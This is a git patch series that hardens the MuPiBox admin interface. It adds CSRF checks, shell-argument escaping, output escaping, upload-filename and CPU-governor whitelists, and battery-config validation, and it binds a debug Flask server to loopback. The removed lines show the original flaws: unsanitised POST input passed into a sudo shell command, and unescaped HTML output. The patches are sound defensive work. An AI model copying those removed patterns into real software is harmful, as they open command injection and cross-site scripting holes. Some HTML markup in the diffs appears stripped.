src/backend-player/package.json | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/backend-player/package.json b/src/backend-player/package.json index 59e8d441..d51f6811 100644 --- a/src/backend-player/package.json +++ b/src/backend-player/package.json @@ -18,10 +18,8 @@ "debug": "^4.3.4", "express": "^4.17.1", "google-tts-api": "2.0.2", - "http": "0.0.1-security", "js-string-escape": "^1.0.1", "nodemon": "^2.0.7", - "path": "^0.12.7", "protobufjs": "^7.4.0", "protobufjs-cli": "^1.1.3", "spotify-web-api-node": "^5.0.0" From 3b14dc21704bd7f1239fe3e12938ceea29efe9f4 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 15 May 2026 16:35:56 +0200 Subject: [PATCH 15/18] fix(admin): PHP security cleanup (M10, M11, AR5-15, AR5-17) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four small post-auth hardening patches that share the same scope — admin-only PHP endpoints with thin or missing input handling. M10 cover.php — upload filename whitelist + output escape: basename() on the upload branch strips path components but happily passes "<", quotes, "&", spaces and unicode lookalikes. Those names land in the file listing below and (without htmlspecialchars there) inject into the tag for every admin who reopens the page. Same /^[A-Za-z0-9._-]+\.(jpe?g|png|gif|webp)$/i regex the deleteimage branch already enforces. Plus defence-in-depth: htmlspecialchars every basename + the host into HTML attributes, rawurlencode into URL components, so legacy files from before this patch can't break out of the markup either. M11 mupi.php — fopen resource check at end of file: fgets(fopen("/tmp/.time2sleep", 'r')) raised an uncaught TypeError on PHP 8+ whenever the sleep timer file didn't exist (i.e. every page load without an active sleep timer). Guard with if ($fh = @fopen(...)) { fgets / fclose } and default to empty string; the JS side already handles that. AR5-15 bluetooth.php — CSRF guard + escapeshellarg for paired-device shell: bluetooth.php was missed by the Phase-5 CSRF sweep. Every POST handler runs `sudo systemctl` or `sudo /usr/local/bin/mupibox/ *_bt.sh` — a cross-site request from another tab could toggle BT state, pair an attacker MAC, or remove a paired device. Gate all writes behind csrf_check() at the top of the file before any other code runs. Plus: the device-listing loop builds a `sudo bluetoothctl info ` command from bluetoothctl's own output without escapeshellarg — normally safe AA:BB:CC:DD:EE:FF but defence in depth doesn't hurt. Also escape device name and MAC into the HTML form value attributes. AR5-17 jsoneditor.php — path-mapping correction: The `monitor` and `offline_monitor` keys both pointed at the resume.json paths. Admin clicking those tabs in the editor opened the wrong file content. Corrected to monitor.json and offline_monitor.json respectively. (Schema validation for jsoneditor.php — also AR5-17 — is intentionally out of scope for this small bundle; the persistent-XSS exposure via data.json name fields requires a frontend-side fix that's a separate phase.) --- AdminInterface/www/bluetooth.php | 23 ++++++++++++++++++++--- AdminInterface/www/cover.php | 31 +++++++++++++++++++++++++------ AdminInterface/www/jsoneditor.php | 7 +++++-- AdminInterface/www/mupi.php | 12 ++++++++++-- 4 files changed, 60 insertions(+), 13 deletions(-) diff --git a/AdminInterface/www/bluetooth.php b/AdminInterface/www/bluetooth.php index 0492e90c..75f1aeec 100644 --- a/AdminInterface/www/bluetooth.php +++ b/AdminInterface/www/bluetooth.php @@ -7,6 +7,14 @@ default-agent scan on */ + // AR5-15: bluetooth.php was missed by the Phase-5 CSRF sweep. Every + // POST handler below runs `sudo systemctl` or `sudo /usr/local/bin/ + // mupibox/*_bt.sh` — a cross-site request from another admin tab + // (or a logged-in admin opening a hostile page) could toggle + // Bluetooth, pair an attacker MAC, or remove a paired device. Gate + // all writes behind csrf_check() before any other code runs. + require_once __DIR__ . '/includes/csrf.php'; + csrf_check(); include ('includes/header.php'); if( $_POST['change_btac'] == "enable & start" ) @@ -169,11 +177,20 @@ foreach($pairoutput as $device) { $split_device=explode(" ", $device); + // AR5-15: the MAC comes from `bluetoothctl devices` so it's normally + // a safe AA:BB:CC:DD:EE:FF value, but a paired device with a + // hostile-name BT stack could in theory emit a forged second + // column. escapeshellarg for the shell side, htmlspecialchars + // for the form/HTML side. + $mac = $split_device[1] ?? ''; + $name = $split_device[2] ?? ''; + $macHtml = htmlspecialchars($mac, ENT_QUOTES); + $nameHtml = htmlspecialchars($name, ENT_QUOTES); print ""; - print ""; + print ""; print " "; - print $split_device[2]." [".$split_device[1]."]"; - $command = "sudo -u dietpi bluetoothctl info ".$split_device[1]." | grep 'Connected: yes'"; + print $nameHtml." [".$macHtml."]"; + $command = "sudo -u dietpi bluetoothctl info ".escapeshellarg($mac)." | grep 'Connected: yes'"; unset($connoutput); exec($command, $connoutput, $connresult ); if( $connoutput[0] ) diff --git a/AdminInterface/www/cover.php b/AdminInterface/www/cover.php index ec0a479d..ddd8d395 100644 --- a/AdminInterface/www/cover.php +++ b/AdminInterface/www/cover.php @@ -22,11 +22,22 @@ if( $_POST['submitfile'] ) { $target_dir = "/var/www/cover/"; - $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); + // M10: same filename whitelist as the deleteimage branch. basename() + // alone strips path components but happily passes "<", quotes, "&", + // spaces and unicode lookalikes — those land in the file listing + // below and (without htmlspecialchars there) inject into the + // tag rendered for every admin who loads cover.php afterwards. + // Reject anything that isn't filename-safe ASCII before we even + // look at the bytes. + $rawName = basename($_FILES["fileToUpload"]["name"] ?? ''); $uploadOk = 1; - //$FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); + if (!preg_match('/^[A-Za-z0-9._-]+\.(jpe?g|png|gif|webp)$/i', $rawName)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid image filename. Use letters, digits, dot, underscore, dash only, with .jpg/.jpeg/.png/.gif/.webp extension.
    • "; + $uploadOk = 0; + } + $target_file = $target_dir . $rawName; - if (is_file($target_file)) { + if ($uploadOk && is_file($target_file)) { $CHANGE_TXT=$CHANGE_TXT."
  • There is already an image with this name! This file will be overwritten!
    • "; } @@ -104,13 +115,21 @@ $files = glob('/var/www/cover/*.{jpeg,jpg,png,gif,webp}', GLOB_BRACE); print "
    "; + // M10 defence-in-depth: escape every basename and the host into HTML + // attribute context. The upload branch now rejects unsafe names, but + // older files from before this patch may still live on disk — escape + // at render time so legacy data can't break out of the attributes. + $hostHtml = htmlspecialchars($data["mupibox"]["host"] ?? '', ENT_QUOTES); foreach($files as $file) { + $name = basename($file); + $nameHtml = htmlspecialchars($name, ENT_QUOTES); + $nameUrl = rawurlencode($name); print "
    "; print ""; - print ""; + print ""; print "
    "; - print "

    URL: http://".$data["mupibox"]["host"]."/cover/".basename($file).""; - print ""; + print "

    URL: http://".$hostHtml."/cover/".$nameHtml.""; + print ""; print "

    "; print "
    "; } diff --git a/AdminInterface/www/jsoneditor.php b/AdminInterface/www/jsoneditor.php index 11539536..1c7db3ef 100644 --- a/AdminInterface/www/jsoneditor.php +++ b/AdminInterface/www/jsoneditor.php @@ -11,14 +11,17 @@ $csrfToken = $_SESSION['csrf_token']; // Erlaubte Dateien +// AR5-17: the `monitor` and `offline_monitor` keys both pointed at the +// resume.json paths — clicking those tabs in the editor opened the +// wrong file content. Corrected to monitor.json / offline_monitor.json. $files = [ 'mupiboxconfig' => '/etc/mupibox/mupiboxconfig.json', 'data' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/data.json', 'config' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/config.json', 'resume' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/resume.json', - 'monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/resume.json', + 'monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/monitor.json', 'offline_resume' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/offline_resume.json', - 'offline_monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/offline_resume.json' + 'offline_monitor' => '/home/dietpi/.mupibox/Sonos-Kids-Controller-master/server/config/offline_monitor.json' ]; $key = $_GET['file'] ?? 'mupiboxconfig'; diff --git a/AdminInterface/www/mupi.php b/AdminInterface/www/mupi.php index c02f16d0..a17e7f6c 100644 --- a/AdminInterface/www/mupi.php +++ b/AdminInterface/www/mupi.php @@ -1461,8 +1461,16 @@ ?> From d04f4608c2d88ed32b09a0583b2eeb04849360c0 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 15 May 2026 16:14:27 +0200 Subject: [PATCH 16/18] fix(admin): validate Custom battery config inputs (AR5-16) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit mupihat.php's save_custom branch wrote $_POST values straight into mupiboxconfig.json with no intval, no range check, no ordering check. A malformed POST could persist non-numeric strings or out-of-range millivolts. The high-impact field is th_shutdown — if it's set above the pack's normal range the box will shutdown-loop; if it's 0 or negative the protection safeguard is silently disabled, and the pack can be deep-discharged past BMS cutoff. Validation now enforced before writing: 1. Each field must be a positive integer string (ctype_digit on the raw POST value, then intval to bind). 2. Each value must lie in 4000-12600 mV (covers 1S, 2S and 3S Li-Ion packs the BQ25792 can charge). 3. Discharge curve strictly descending: v_100 > v_75 > v_50 > v_25 > v_0. 4. Threshold ordering: v_0 >= th_warning >= th_shutdown. On any failure, the partial state is discarded and a descriptive (htmlspecialchars-escaped) message is added to $CHANGE_TXT so the user sees why the save was rejected. No write to /etc/mupibox/ mupiboxconfig.json in that case. --- AdminInterface/www/mupihat.php | 69 +++++++++++++++++++++++----------- 1 file changed, 48 insertions(+), 21 deletions(-) diff --git a/AdminInterface/www/mupihat.php b/AdminInterface/www/mupihat.php index 09948e83..a4996c06 100644 --- a/AdminInterface/www/mupihat.php +++ b/AdminInterface/www/mupihat.php @@ -7,28 +7,55 @@ if( $_POST['save_custom'] ) { - // Erstelle ein leeres Array für die benutzerdefinierte Batteriekonfiguration - $custom_battery_config = array(); - - // Durchsuche das Array nach der benutzerdefinierten Batteriekonfiguration - foreach ($data["mupihat"]["battery_types"] as $key => $battery_type) { - if ($battery_type["name"] === "Custom") { - // Speichere die benutzerdefinierte Batteriekonfiguration aus dem Formular in das Array - $custom_battery_config["v_100"] = $_POST['v_100']; - $custom_battery_config["v_75"] = $_POST['v_75']; - $custom_battery_config["v_50"] = $_POST['v_50']; - $custom_battery_config["v_25"] = $_POST['v_25']; - $custom_battery_config["v_0"] = $_POST['v_0']; - $custom_battery_config["th_warning"] = $_POST['th_warning']; - $custom_battery_config["th_shutdown"] = $_POST['th_shutdown']; - - // Aktualisiere die benutzerdefinierte Batteriekonfiguration im Datenarray - $data["mupihat"]["battery_types"][$key]["config"] = $custom_battery_config; + // AR5-16: validate every voltage field before persisting. Without intval + + // range check, a malformed POST (browser bug, hostile actor on a shared LAN) + // could write non-numeric strings or out-of-range millivolts into the JSON. + // th_shutdown is the load-bearing one — if it ends up higher than the + // pack's normal operating range, the battery-protection logic will trigger + // a shutdown that never recovers; if it ends up at 0 or negative, the + // shutdown safeguard is silently disabled. + // + // Accepted range: 4000-12600 mV (covers 1S, 2S and 3S Li-Ion packs). + // Plus strict descending order: v_100 > v_75 > v_50 > v_25 > v_0, + // and v_0 >= th_warning >= th_shutdown. + $fields = ['v_100', 'v_75', 'v_50', 'v_25', 'v_0', 'th_warning', 'th_shutdown']; + $values = []; + $validation_error = ''; + foreach ($fields as $field) { + if (!isset($_POST[$field]) || !ctype_digit((string) $_POST[$field])) { + $validation_error = "Field '$field' is not a positive integer"; + break; + } + $mv = intval($_POST[$field]); + if ($mv < 4000 || $mv > 12600) { + $validation_error = "Field '$field' = $mv mV is outside 4000-12600 mV"; + break; + } + $values[$field] = (string) $mv; + } + if ($validation_error === '' && + !($values['v_100'] > $values['v_75'] + && $values['v_75'] > $values['v_50'] + && $values['v_50'] > $values['v_25'] + && $values['v_25'] > $values['v_0'])) { + $validation_error = 'Voltages must strictly descend: v_100 > v_75 > v_50 > v_25 > v_0'; + } + if ($validation_error === '' && + !($values['v_0'] >= $values['th_warning'] + && $values['th_warning'] >= $values['th_shutdown'])) { + $validation_error = 'Threshold order violated: v_0 >= th_warning >= th_shutdown required'; + } - // Führe den Code zum Speichern und Aktualisieren der Konfiguration aus - $change = 4; - $CHANGE_TXT = $CHANGE_TXT . "
  • Custom battery configuration saved
    • "; - break; // Beende die Schleife, da die Konfiguration gefunden und aktualisiert wurde + if ($validation_error !== '') { + $CHANGE_TXT = $CHANGE_TXT . "
  • Custom battery configuration rejected: " . htmlspecialchars($validation_error) . "
    • "; + } else { + foreach ($data["mupihat"]["battery_types"] as $key => $battery_type) { + if ($battery_type["name"] === "Custom") { + $data["mupihat"]["battery_types"][$key]["config"] = $values; + $change = 4; + $CHANGE_TXT = $CHANGE_TXT . "
  • Custom battery configuration saved
    • "; + break; + } } } } From d5003f731b76cbba9ee14b6cff8e960fe0470550 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 15 May 2026 16:15:20 +0200 Subject: [PATCH 17/18] fix(hat): bind debug Flask server to loopback (AR5-20) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit mupihat.py's Flask app was bound to 0.0.0.0:5000, exposing the BQ25792 register inspector at "/" and "/api/registers" to every client on the LAN — without authentication. Acceptable on a trusted home network, problematic on guest/school WiFi: charger registers disclose pack voltage, current, temperature, and JEITA state. No consumer on the box hits port 5000 — frontend-box, admin-ui, backend-api server.ts, telegram_*.py, mqtt.py, .bashrc and fan_control.py all read /tmp/mupihat.json directly. So switching to host="127.0.0.1" loses no functionality. For remote debugging the port is still reachable via `ssh -L 5000:127.0.0.1:5000 mupibox`. --- scripts/mupihat/mupihat.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/scripts/mupihat/mupihat.py b/scripts/mupihat/mupihat.py index 07d6e568..521ed129 100644 --- a/scripts/mupihat/mupihat.py +++ b/scripts/mupihat/mupihat.py @@ -172,9 +172,16 @@ def main(): json_thread = Thread(target=periodic_json_dump, daemon=True) json_thread.start() - # Flask web server + # AR5-20: bind the debug Flask server to loopback only. No consumer on + # the box hits port 5000 — all consumers (frontend, admin-ui, server.ts, + # telegram_*.py, mqtt.py, .bashrc, fan_control.py) read /tmp/mupihat.json + # directly. Port 5000 is the BQ25792 register inspector at "/" and + # "/api/registers". With 0.0.0.0 the raw charger registers were + # unauthenticated for every client on the LAN; harmless on a home + # WLAN, problematic on guest/school networks. For remote debugging + # use `ssh -L 5000:127.0.0.1:5000 mupibox`. try: - app.run(host="0.0.0.0", port=5000, debug=False) + app.run(host="127.0.0.1", port=5000, debug=False) except KeyboardInterrupt: print("MuPiHAT stopped by Keyboard Interrupt") sys.exit(0) From 10f8cee43f2a07595746b52c8d7169d6dc4b0c32 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 8 May 2026 13:07:38 +0200 Subject: [PATCH 18/18] H6: cpugovernor whitelist (mupi.php + tweaks.php) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit POST['cpugovernor'] floss ungeprüft in einen verschachtelten sudo su -c "...G_CONFIG_INJECT 'CONFIG_CPU_GOVERNOR='..." und war post-auth command-injectable. Whitelist gegen die vom Kernel angebotene Liste aus scaling_available_governors — das ist genau die Liste, aus der der HTML- generiert wird. + $available = explode(' ', trim((string)@file_get_contents( + '/sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors'))); + $cpug_input = (string)($_POST['cpugovernor'] ?? ''); + if (in_array($cpug_input, $available, true)) { + $command = "sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'CONFIG_CPU_GOVERNOR=' 'CONFIG_CPU_GOVERNOR=".$cpug_input."' /boot/dietpi.txt\""; + $test=exec($command, $output, $result ); + $command = "sudo /boot/dietpi/func/dietpi-set_cpu"; + exec($command, $output, $result ); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • CPU Governor changet to ".htmlspecialchars($cpug_input, ENT_QUOTES, 'UTF-8')."
    • "; + } else { + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • CPU Governor change rejected: invalid value
    • "; + } } if( $_POST['change_sd'] == "activate for next boot" ) diff --git a/AdminInterface/www/tweaks.php b/AdminInterface/www/tweaks.php index e17fe1e1..4c0a6965 100644 --- a/AdminInterface/www/tweaks.php +++ b/AdminInterface/www/tweaks.php @@ -69,12 +69,21 @@ if ($_POST['change_cpug']) { - $command = "sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'CONFIG_CPU_GOVERNOR=' 'CONFIG_CPU_GOVERNOR=".$_POST['cpugovernor']."' /boot/dietpi.txt\""; - $test=exec($command, $output, $result ); - $command = "sudo /boot/dietpi/func/dietpi-set_cpu"; - exec($command, $output, $result ); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • CPU Governor changet to ".$_POST['cpugovernor']."
    • "; + // H6: post-auth command-injection mitigation — siehe mupi.php + $available = explode(' ', trim((string)@file_get_contents( + '/sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors'))); + $cpug_input = (string)($_POST['cpugovernor'] ?? ''); + if (in_array($cpug_input, $available, true)) { + $command = "sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'CONFIG_CPU_GOVERNOR=' 'CONFIG_CPU_GOVERNOR=".$cpug_input."' /boot/dietpi.txt\""; + $test=exec($command, $output, $result ); + $command = "sudo /boot/dietpi/func/dietpi-set_cpu"; + exec($command, $output, $result ); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • CPU Governor changet to ".htmlspecialchars($cpug_input, ENT_QUOTES, 'UTF-8')."
    • "; + } else { + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • CPU Governor change rejected: invalid value
    • "; + } } if( $_POST['change_sd'] == "activate for next boot" )